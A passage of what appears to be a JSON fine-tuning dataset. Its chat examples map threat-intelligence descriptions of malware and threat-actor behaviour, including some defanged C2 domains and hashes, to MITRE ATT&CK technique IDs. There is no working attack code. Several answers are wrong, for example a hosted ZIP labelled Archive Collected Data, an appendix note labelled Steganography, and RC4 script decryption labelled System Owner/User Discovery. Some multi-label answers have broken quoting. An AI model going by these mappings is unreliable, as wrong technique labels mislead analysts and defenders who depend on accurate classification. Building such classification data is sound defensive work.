                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Clambling can execute binaries through process hollowing."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Penquin can use the command code \"do_vslist\" to send file names, size, and status to C2."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "At face value, ISMInjector is obfuscated with the off-the-shelf SmartAssembly .NET obfuscator created by red-gate.com. The first execution of ISMInjector starts by copying itself to %localappdata%\\srvBS.txt and enables persistent access to the system"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN6 has used has used Metasploit’s named-pipe impersonation technique to escalate privileges."
            },
            {
                "role": "assistant",
                "content": "T1134 - Access Token Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PowerSploit contains a collection of Privesc-PowerUp modules that can discover and replace/modify service binaries, paths, and configs."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "leverages social networking sites and cloud platforms (AOL, Twitter, Yandex, Mediafire, pCloud, Dropbox, and Box) for C2."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "IcedID has used \"ZwQueueApcThread\" to inject itself into remote processes."
            },
            {
                "role": "assistant",
                "content": "T1055.004 - Process Injection: Asynchronous Procedure Call"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Group used a JavaScript backdoor that is capable of collecting a list of the security solutions installed on the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Various implementations of  communicate with C2 over HTTP, SMTP, and POP3."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It was heavily modified, with almost all original code stripped out aside from its sekurlsa::logonpasswords credential stealing feature"
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "To load the driver, a new service is created using the API CreateServiceW. The name and display name for this service is the 4-character name used for the file name. Next, StartServiceW is called in a loop five times to ensure the driver is loaded. Immediately after the driver is loaded, the service is removed by deleting the entire registry key"
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API', 'T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "malware IndiaIndia obtains and sends to its C2 server information about the first network interface card’s configuration, including IP address, gateways, subnet mask, DHCP information, and whether WINS is available."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sometimes it is a high profile, legitimate site such as “diplomacy.pl”, hosting a ZIP archive"
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "1) The infection chain used in this attack begins with a weaponized link to a Google Drive folder, obfuscated using the goo.gl link shortening service. 2) When contacted, the Google Drive link retrieves a zip file, which contains a .lnk file obfuscated as a .pdf file using the double extension trick. 3) This file requires the target to attempt to open the .lnk file, which redirects the user to a Windows Scripting Component (.wsc) file, hosted on an adversary-controlled microblogging page. MUSTANG PANDA has previously used the observed microblogging site to host malicious PowerShell scripts and Microsoft Office documents in targeted attacks on Mongolia-focused NGOs. 4) The .lnk file uses an embedded VBScript component to retrieve a decoy PDF file and a PowerShell script from the adversary-controlled web page. 5) The PowerShell script creates a Cobalt Strike stager payload. This PowerShell script also retrieves an XOR-encoded Cobalt Strike beacon payload from an adversary-controlled domain. 6) The Cobalt Strike Beacon implant beacons to the command-and-control (C2) IP address, which is used to remotely control the implant"
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Variants of Emissary have used rundll32.exe in Registry values added to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Analysis APT34 sent a malicious .rtf file (MD5: a0e6933f4e0497269620f44a083b2ed4) as an attachment in a malicious spear phishing email sent to the victim organization"
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation Wocao, threat actors executed commands through the installed web shell via Tor exit nodes."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ADVSTORESHELL achieves persistence by adding itself to the \"HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" Registry key."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "malware can list running processes."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Denis collects OS information and the computer name from the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The following capabilities have been observed in this payload:  Get drive information Modify files Modify directories Modify registry Spawn process Terminate process Modify services Kill self   Ties to SunOrcal Reaver was used concurrently with SunOrcal over the past year, to include two Reaver samples dropped from zip files hosted on a domain also being used as a SunOrcal C2 (www.fyoutside[.]com), and there is also passive DNS overlap amongst the C2s"
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chinese state-sponsored cyber actors have been observed using Cobalt Strike, webshells, or command line interface tools, such as schtask or crontab to create and schedule tasks that enumerate victim devices and networks."
            },
            {
                "role": "assistant",
                "content": "T1053.003 - Scheduled Task/Job: Cron', 'T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cardinal RAT can log keystrokes."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LookBack sets up a Registry Run key to establish a persistence mechanism."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Invoke-Obfuscation calls the variable obfuscation technique used by the actors to obfuscate this script Random Case + {} + Ticks, which changes all variables in the script to have randomly cased characters, to be surrounded in curly braces and to include the tick (`) character, which is ignored in by PowerShell"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Epic encrypts commands from the C2 server using a hardcoded key."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kimsuky has used browser extensions including Google Chrome to steal passwords and cookies from browsers. Kimsuky has also used Nirsoft's WebBrowserPassView tool to dump the passwords obtained from victims."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PoshC2 can utilize multiple methods to bypass UAC."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Documents with the Flash exploit managed to evade static defenses and remain undetected as an exploit on VirusTotal"
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Empire has modules to interact with the Windows task scheduler."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Some  variants use HTTP for C2."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RegDuke can download files from C2."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attor's installer plugin can schedule a new task that loads the dispatcher on boot/logon."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attor can obtain application window titles and then determines which windows to perform Screen Capture on."
            },
            {
                "role": "assistant",
                "content": "T1010 - Application Window Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mustang Panda has used vssadmin to create a volume shadow copy and retrieve the NTDS.dit file. Mustang Panda has also used \"reg save\" on the SYSTEM file Registry location to help extract the NTDS.dit file."
            },
            {
                "role": "assistant",
                "content": "T1003.003 - OS Credential Dumping: NTDS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mosquito runs \"whoami\" on the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "creates the following Registry entry: HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\Micromedia."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Night Dragon, the threat actors collected files and other data from compromised systems."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BOOSTWRITE has used the DWriteCreateFactory() function to load additional modules."
            },
            {
                "role": "assistant",
                "content": "T1129 - Server Software Component"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Avaddon uses registry run keys for persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "POWRUNER may use WMI when collecting information about a victim."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NETWIRE has been executed through use of VBScripts."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NotPetya has the capability to exploit SMBv1 via the well known EternalBlue exploit. Once the exploit is launched, the shellcode will end up writing the file and executing the malware on the target machine."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "route can be used to discover routing configuration information."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Domains  http://mdzz2019.noip[.]cn:19931 http://mdzz2019.noip[.]cn:3654/  From my analyses, I was able to identify http://mdzz2019.noip[.]cn:19931 as its main C2 url.  This is a dynamic DNS, meaning the actual IP changes quite frequently"
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "When executed, the final macro code as interpreted by CMD decodes into a classic PowerShell download cradle that fetches the initial QakBot payload. There is one last bit of obfuscation here as the script does contain two more encoded strings. One is the URL as seen above in Figure 8, and another is the full path to which the payload will initially be written: “C:\\Users\\Public\\tmpdir\\file”. "
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter', 'T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses RC4 to encrypt C2 traffic."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "As part of Reflective DLL loading the malware performs the following tasks on the DLL it has unwrapped in memory: Copy the unwrapped DLL into new locations in its own memory space. Build imports required by the DLL (based on the IAT of the DLL) - Copy the unwrapped DLL into new locations in its own memory space. Build imports required by the DLL (based on the IAT of the DLL"
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ixeshe can collect data from a local system."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PoetRAT has used ftp for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Comnie is able to achieve persistence via a .lnk file that is stored within the victim’s startup path"
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BADCALL modifies the firewall Registry key \"SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfileGloballyOpenPorts\\\\List\"."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "We euphemistically refer to the bit fiddling function in the interest of brevity. Looking through it, we see calls to Windows APIs to acquire a cryptographic context provider and generate random bytes. It’s likely this is being used for an inlined crypto implementation and byte overwriting, but the mechanism isn’t entirely clear at this time"
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PowerDuke has commands to get the current directory name as well as the size of a file. It also has commands to obtain information about logical drives, drive type, and free space."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FoggyWeb's loader has reflectively loaded .NET-based assembly/payloads into memory."
            },
            {
                "role": "assistant",
                "content": "T1620 - Reflective Code Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This DLL has no other noticeable characteristics, as it functions like a typical malicious sideload. After loading the encrypted payload in memory, it transfers the execution to a shellcode that is located at the beginning of the file. Once loaded in memory, the ZeroT shellcode does not present any kind of obfuscation, unlike that for PlugX. This shellcode is charged with unpacking the encrypted and compressed payload. As in the new PlugX dropper detailed below, this is done using RC4 and RtlDecompressBuffer. As in PlugX samples, the PE header of ZeroT has been tampered with, specifically the “MZ” and “PE” constants (Fig"
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Strike can use PsExec to execute a payload on a remote host. It can also use Service Control Manager to start new services"
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has a command to list its directory and logical drives."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attackers are using a tool with name plainpwd in order to dump Windows credentials from memory. This tool is a slightly modified version of the open-source project mimikatz"
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CostaRicto has set up remote SSH tunneling into the victim's environment from a malicious domain."
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hikit has the ability to create a remote shell and run given commands."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AT&amp;T Alien Labs has discovered new malicious files distributed by the threat actor TeamTNT. The use of open-source tools like Lazagne allows TeamTNT to stay below the radar for a while, making it more difficult for anti-virus companies to detect"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery', 'T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used sc query on a victim to gather information about services."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Misdat has attempted to detect if a compromised host had a Japanese keyboard via the Windows API call `GetKeyboardType`."
            },
            {
                "role": "assistant",
                "content": "T1614.001 - System Location Discovery: System Language Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Note: see the appendix for a list of the domains, file names, and malware MD5 hash values used to facilitate this activity"
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The executable obtains an embedded PowerShell script, decrypts it using RC4, then decompresses it using ZLIB, and saves the cleartext to C:\\Users\\<username>\\AppData\\Roaming\\Out.jpg"
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Drovorub has used a kernel module rootkit to hide processes, files, executables, and network artifacts from user space view."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Winnti for Linux has decoded XOR encoded strings holding its configuration upon execution."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "gathers system configuration information."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware also loads shellcode in an additional resource, MD5: a4808a329b071a1a37b8d03b1305b0cb, which contains the METALJACK payload. The shellcode performs a system survey to collect the victim's computer name and username and then appends those values to a URL string using libjs.inquirerjs[.]com. It then attempts to call out to the URL"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GrimAgent can use Native API including \"GetProcAddress\" and \"ShellExecuteW\"."
            },
